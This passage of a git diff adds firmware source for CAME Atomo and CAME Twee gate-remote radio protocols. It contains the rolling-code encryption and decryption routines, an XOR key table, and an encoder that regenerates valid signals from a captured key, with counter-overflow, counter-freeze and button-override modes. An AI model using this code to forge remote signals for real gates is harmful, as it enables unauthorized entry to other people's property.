+       subghz_block_generic_global.btn_need_override)
+        bypass = true;
+
+    if(came_atomo_counter_mode == 0 || bypass) {
+        // Check for OFEX (overflow experimental) mode
+        if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF || bypass) {
+            bypass = false;
+            // standart counter mode. PULL data from subghz_block_generic_global variables
+            if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                }
+            }
+        } else {
+            //OFFEX mode
+            if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+                instance->generic.cnt = 0xFFFE;
+            } else {
+                instance->generic.cnt++;
+            }
+        }
+    } else if(came_atomo_counter_mode == 1) {
+        // Mode 1
+        // 0000 / 0001 / FFFE / FFFF
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    } else if(came_atomo_counter_mode == 2) {
+        // Mode 2
+        // 0x807B / 0x807C / 0x007B / 0x007C
+        if(instance->generic.cnt != 0x807B && instance->generic.cnt != 0x807C &&
+           instance->generic.cnt != 0x007B) {
+            instance->generic.cnt = 0x807B;
+        } else if(instance->generic.cnt == 0x807C) {
+            instance->generic.cnt = 0x007B;
+        } else {
+            instance->generic.cnt++;
+        }
+    } else {
+        // Mode 3 - Freeze counter
+    }
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    btn = subghz_protocol_came_atomo_get_btn_code();
+
+    if(btn == 0x1) {
+        btn = 0x0;
+    } else if(btn == 0x2) {
+        btn = 0x2;
+    } else if(btn == 0x3) {
+        btn = 0x4;
+    } else if(btn == 0x4) {
+        btn = 0x6;
+    }
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60);
+
+    // Btn counter 0x0 - 0x7F
+    pack[0] = 0;
+    for(uint8_t i = 0; i < 8; i++) {
+        //pack[0] = (instance->generic.data_2 >> 56);
+        pack[1] = (instance->generic.cnt >> 8);
+        pack[2] = (instance->generic.cnt & 0xFF);
+        pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
+        pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
+        pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
+        pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
+        pack[7] = (btn << 4);
+
+        /* if(pack[0] == 0x7F) {
+            pack[0] = 0;
+        } else {
+            pack[0] += (i + 1);
+        }
+        */
+        switch(i) {
+        case 0:
+            pack[0] = 10; // 0A
+            break;
+        case 1:
+            pack[0] = 30;
+            break;
+        case 2:
+            pack[0] = 125; // 7D
+            break;
+        case 3:
+            pack[0] = 126; // 7E
+            break;
+        case 4:
+            pack[0] = 127; // 7F
+            break;
+        case 5:
+            pack[0] = 0; // 00
+            break;
+        case 6:
+            pack[0] = 1; // 01
+            break;
+        case 7:
+            pack[0] = 3;
+            break;
+
+        default:
+            break;
+        }
+        // 10 50 125 126 127 0 1 2
+
+        atomo_encrypt(pack);
+        uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
+        uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
+        instance->generic.data = (uint64_t)hi << 32 | lo;
+
+        instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
+        instance->generic.data >>= 4;
+        instance->generic.data &= 0xFFFFFFFFFFFFFFF;
+
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short);
+
+        for(uint8_t i = (instance->generic.data_count_bit - 2); i > 0; i--) {
+            if(!manchester_encoder_advance(
+                   &enc_state, !bit_read(instance->generic.data, i - 1), &result)) {
+                instance->encoder.upload[index++] =
+                    subghz_protocol_encoder_came_atomo_add_duration_to_upload(result);
+                manchester_encoder_advance(
+                    &enc_state, !bit_read(instance->generic.data, i - 1), &result);
+            }
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_came_atomo_add_duration_to_upload(result);
+        }
+        instance->encoder.upload[index] =
+            subghz_protocol_encoder_came_atomo_add_duration_to_upload(
+                manchester_encoder_finish(&enc_state));
+        if(level_duration_get_level(instance->encoder.upload[index])) {
+            index++;
+        }
+        //Send pause
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_delta * 272);
+    }
+    instance->encoder.size_upload = index;
+    instance->generic.cnt_2++;
+    pack[0] = (instance->generic.cnt_2);
+    pack[1] = (instance->generic.cnt >> 8);
+    pack[2] = (instance->generic.cnt & 0xFF);
+    pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
+    pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
+    pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
+    pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
+    pack[7] = (btn << 4);
+
+    atomo_encrypt(pack);
+    uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
+    uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
+    instance->generic.data = (uint64_t)hi << 32 | lo;
+
+    instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
+    instance->generic.data >>= 4;
+    instance->generic.data &= 0xFFFFFFFFFFFFFFF;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            came_atomo_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            came_atomo_counter_mode = 0;
+        }
+
+        subghz_protocol_came_atomo_remote_controller(&instance->generic);
+        subghz_protocol_encoder_came_atomo_get_upload(instance, instance->generic.btn);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_came_atomo_stop(void* context) {
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context) {
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolDecoderCameAtomo));
+    instance->base.protocol = &subghz_protocol_came_atomo;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_came_atomo_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_came_atomo_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    instance->decoder.parser_step = CameAtomoDecoderStepReset;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+
+    ManchesterEvent event = ManchesterEventReset;
+    switch(instance->decoder.parser_step) {
+    case CameAtomoDecoderStepReset:
+        // There are two known options for the header: 72K us (TOP42R, TOP44R) or 12k us (found on TOP44RBN)
+        if((!level) && ((DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 10) <
+                         subghz_protocol_came_atomo_const.te_delta * 20) ||
+                        (DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long * 60) <
+                         subghz_protocol_came_atomo_const.te_delta * 40))) {
+            //Found header CAME
+            instance->decoder.parser_step = CameAtomoDecoderStepDecoderData;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 1;
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventReset,
+                &instance->manchester_saved_state,
+                NULL);
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventShortLow,
+                &instance->manchester_saved_state,
+                NULL);
+        }
+        break;
+    case CameAtomoDecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_short) <
+               subghz_protocol_came_atomo_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long) <
+                subghz_protocol_came_atomo_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else if(
+                duration >= ((uint32_t)subghz_protocol_came_atomo_const.te_long * 2 +
+                             subghz_protocol_came_atomo_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_came_atomo_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 1;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventReset,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventShortLow,
+                    &instance->manchester_saved_state,
+                    NULL);
+            } else {
+                instance->decoder.parser_step = CameAtomoDecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_short) <
+               subghz_protocol_came_atomo_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_came_atomo_const.te_long) <
+                subghz_protocol_came_atomo_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = CameAtomoDecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
+                instance->decoder.decode_count_bit++;
+            }
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param file_name Full path to rainbow table the file
+ */
+static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+    * ***SkorP ver.***
+    * 0x1fafef3ed0f7d9ef
+    * 0x185fcc1531ee86e7
+    * 0x184fa96912c567ff
+    * 0x187f8a42f3dc38f7
+    * 0x186f63915492a5cd
+    * 0x181f40bab58bfac5
+    * 0x180f25c696a01bdd
+    * 0x183f06ed77b944d5
+    * 0x182ef661d83d21a9
+    * 0x18ded54a39247ea1
+    * 0x18ceb0361a0f9fb9
+    * 0x18fe931dfb16c0b1
+    * 0x18ee7ace5c585d8b
+    * ........ 
+    * transmission consists of 99 parcels with increasing counter while holding down the button
+    * with each new press, the counter in the encrypted part increases
+    * 
+    * 0x1FAFF13ED0F7D9EF
+    * 0x1FAFF11ED0F7D9EF
+    * 0x1FAFF10ED0F7D9EF
+    * 0x1FAFF0FED0F7D9EF
+    * 0x1FAFF0EED0F7D9EF
+    * 0x1FAFF0DED0F7D9EF
+    * 0x1FAFF0CED0F7D9EF
+    * 0x1FAFF0BED0F7D9EF
+    * 0x1FAFF0AED0F7D9EF 
+    * 
+    *                   where     0x1FAF - parcel counter, 0хF0A - button press counter,
+    *                           0xED0F7D9E - serial number, 0хF -  key
+    * 0x1FAF parcel counter - 1 in the parcel queue ^ 0x185F =  0x07F0
+    * 0x185f ^ 0x185F = 0x0000
+    * 0x184f ^ 0x185F = 0x0010
+    * 0x187f ^ 0x185F = 0x0020
+    * .....
+    * 0x182e ^ 0x185F = 0x0071 
+    * 0x18de ^ 0x185F = 0x0081
+    * .....
+    * 0x1e43 ^ 0x185F = 0x061C
+    *                           where the last nibble is incremented every 8 samples
+    * 
+    * Decode
+    * 
+    * 0x1cf6931dfb16c0b1 => 0x1cf6
+    * 0x1cf6 ^ 0x185F = 0x04A9
+    * 0x04A9 => 0x04A = 74 (dec)
+    * 74+1 % 32(atomo_magic_xor) = 11
+    * GET atomo_magic_xor[11] = 0xXXXXXXXXXXXXXXXX
+    * 0x931dfb16c0b1 ^ 0xXXXXXXXXXXXXXXXX =  0xEF3ED0F7D9EF
+    * 0xEF3 ED0F7D9E F  => 0xEF3 - CNT, 0xED0F7D9E - SN, 0xF - key
+    * 
+    *  ***Actual***
+    * Button hold-cycle counter (8-bit, from 0 to 0x7F) should DO full cycle or half cycle keeping values like zero
+    * 0x1FF08D9924984115 - received data
+    * 0x00F7266DB67BEEA0 - inverted data
+    * 0x0501FD0000A08300 - decrypted data, 
+    * where: 0x05 - Button hold-cycle counter (8-bit, from 0 to 0x7F)
+    *        0x01FD - Parcel counter (normal 16-bit counter)
+    *        0x0000A083 - Serial number (32-bit)
+    *        0x0 - Button code (4-bit, 0x0 - #1 left-up; 0x2 - #2 right-up; 0x4 - #3 left-down;  0x6 - #4 right-down)
+    *        0x0 - Last zero nibble
+    * */
+
+    instance->data ^= 0xFFFFFFFFFFFFFFFF;
+    instance->data <<= 4;
+
+    uint8_t pack[8] = {};
+    pack[0] = (instance->data >> 56);
+    pack[1] = ((instance->data >> 48) & 0xFF);
+    pack[2] = ((instance->data >> 40) & 0xFF);
+    pack[3] = ((instance->data >> 32) & 0xFF);
+    pack[4] = ((instance->data >> 24) & 0xFF);
+    pack[5] = ((instance->data >> 16) & 0xFF);
+    pack[6] = ((instance->data >> 8) & 0xFF);
+    pack[7] = (instance->data & 0xFF);
+
+    atomo_decrypt(pack);
+
+    instance->cnt_2 = pack[0];
+    instance->cnt = (uint16_t)pack[1] << 8 | pack[2];
+    instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6];
+
+    uint8_t btn_decode = (pack[7] >> 4);
+    if(btn_decode == 0x0) {
+        instance->btn = 0x1;
+    } else if(btn_decode == 0x2) {
+        instance->btn = 0x2;
+    } else if(btn_decode == 0x4) {
+        instance->btn = 0x3;
+    } else if(btn_decode == 0x6) {
+        instance->btn = 0x4;
+    }
+
+    uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
+    uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
+    instance->data_2 = (uint64_t)hi << 32 | lo;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(3);
+}
+
+void atomo_encrypt(uint8_t* buff) {
+    uint8_t tmpB = (~buff[0] + 1) & 0x7F;
+
+    uint8_t bitCnt = 8;
+    while(bitCnt < 59) {
+        if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) {
+            tmpB = ((tmpB << 1) & 0xFF) | 1;
+        } else {
+            tmpB = (tmpB << 1) & 0xFF;
+        }
+
+        if(tmpB & 0x80) {
+            buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7));
+        }
+
+        bitCnt++;
+    }
+
+    buff[0] = (buff[0] ^ 5) & 0x7F;
+}
+
+void atomo_decrypt(uint8_t* buff) {
+    buff[0] = (buff[0] ^ 5) & 0x7F;
+    uint8_t tmpB = (-buff[0]) & 0x7F;
+
+    uint8_t bitCnt = 8;
+    while(bitCnt < 59) {
+        if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) {
+            tmpB = ((tmpB << 1) & 0xFF) | 1;
+        } else {
+            tmpB = (tmpB << 1) & 0xFF;
+        }
+
+        if(tmpB & 0x80) {
+            buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7));
+        }
+
+        bitCnt++;
+    }
+}
+
+static uint8_t subghz_protocol_came_atomo_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x3:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x3;
+            break;
+        case 0x2:
+            btn = 0x3;
+            break;
+        case 0x3:
+            btn = 0x2;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x3:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x3;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_came_atomo_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+
+    SubGhzProtocolStatus status = SubGhzProtocolStatusOk;
+    status = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+    if(status != SubGhzProtocolStatusOk) {
+        FURI_LOG_E(TAG, "Deserialize error");
+        return status;
+    }
+    if(instance->generic.data_count_bit !=
+       subghz_protocol_came_atomo_const.min_count_bit_for_found) {
+        FURI_LOG_E(TAG, "Wrong number of bits in key");
+        return SubGhzProtocolStatusErrorValueBitCount;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        return SubGhzProtocolStatusError;
+    }
+
+    uint32_t tmp_counter_mode;
+    if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+        came_atomo_counter_mode = (uint8_t)tmp_counter_mode;
+    } else {
+        came_atomo_counter_mode = 0;
+    }
+
+    return status;
+}
+
+void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameAtomo* instance = context;
+    subghz_protocol_came_atomo_remote_controller(&instance->generic);
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:%08lX%08lX\r\n"
+        "Sn:0x%08lX       Btn:%01X\r\n"
+        "Cnt:%04lX\r\n"
+        "Btn_Cnt:0x%02X",
+
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_hi,
+        code_found_lo,
+        instance->generic.serial,
+        instance->generic.btn,
+        instance->generic.cnt,
+        instance->generic.cnt_2);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.h
new file mode 100644
index 000000000..c5e45a68d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.h
@@ -0,0 +1,112 @@
+#pragma once
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CAME_ATOMO_NAME "CAME Atomo"
+
+typedef struct SubGhzProtocolDecoderCameAtomo SubGhzProtocolDecoderCameAtomo;
+typedef struct SubGhzProtocolEncoderCameAtomo SubGhzProtocolEncoderCameAtomo;
+
+extern const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder;
+extern const SubGhzProtocol subghz_protocol_came_atomo;
+
+void atomo_decrypt(uint8_t* buff);
+
+void atomo_encrypt(uint8_t* buff);
+
+/**
+ * Allocate SubGhzProtocolEncoderCameAtomo.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderCameAtomo* pointer to a SubGhzProtocolEncoderCameAtomo instance
+ */
+void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ */
+void subghz_protocol_encoder_came_atomo_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ */
+void subghz_protocol_encoder_came_atomo_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderCameAtomo.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderCameAtomo* pointer to a SubGhzProtocolDecoderCameAtomo instance
+ */
+void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ */
+void subghz_protocol_decoder_came_atomo_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ */
+void subghz_protocol_decoder_came_atomo_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_came_atomo_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.c
new file mode 100644
index 000000000..d6b656a57
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.c
@@ -0,0 +1,465 @@
+#include "came_twee.h"
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+/*
+ * Help
+ * https://phreakerclub.com/forum/showthread.php?t=635&highlight=came+twin
+ *
+ */
+
+#define TAG "SubGhzProtocolCameTwee"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
+#define CNT_TO_DIP(dip)                                                                     \
+    (dip & 0x0200 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'),     \
+        (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), \
+        (dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
+        (dip & 0x0001 ? '1' : '0')
+
+/** 
+ * Rainbow table Came Twee.
+ */
+static const uint32_t came_twee_magic_numbers_xor[15] = {
+    0x0E0E0E00,
+    0x1D1D1D11,
+    0x2C2C2C22,
+    0x3B3B3B33,
+    0x4A4A4A44,
+    0x59595955,
+    0x68686866,
+    0x77777777,
+    0x86868688,
+    0x95959599,
+    0xA4A4A4AA,
+    0xB3B3B3BB,
+    0xC2C2C2CC,
+    0xD1D1D1DD,
+    0xE0E0E0EE,
+};
+
+static const SubGhzBlockConst subghz_protocol_came_twee_const = {
+    .te_short = 500,
+    .te_long = 1000,
+    .te_delta = 250,
+    .min_count_bit_for_found = 54,
+};
+
+struct SubGhzProtocolDecoderCameTwee {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    ManchesterState manchester_saved_state;
+};
+
+struct SubGhzProtocolEncoderCameTwee {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    CameTweeDecoderStepReset = 0,
+    CameTweeDecoderStepDecoderData,
+} CameTweeDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_came_twee_decoder = {
+    .alloc = subghz_protocol_decoder_came_twee_alloc,
+    .free = subghz_protocol_decoder_came_twee_free,
+
+    .feed = subghz_protocol_decoder_came_twee_feed,
+    .reset = subghz_protocol_decoder_came_twee_reset,
+
+    .get_hash_data = subghz_protocol_decoder_came_twee_get_hash_data,
+    .serialize = subghz_protocol_decoder_came_twee_serialize,
+    .deserialize = subghz_protocol_decoder_came_twee_deserialize,
+    .get_string = subghz_protocol_decoder_came_twee_get_string,
+};
+
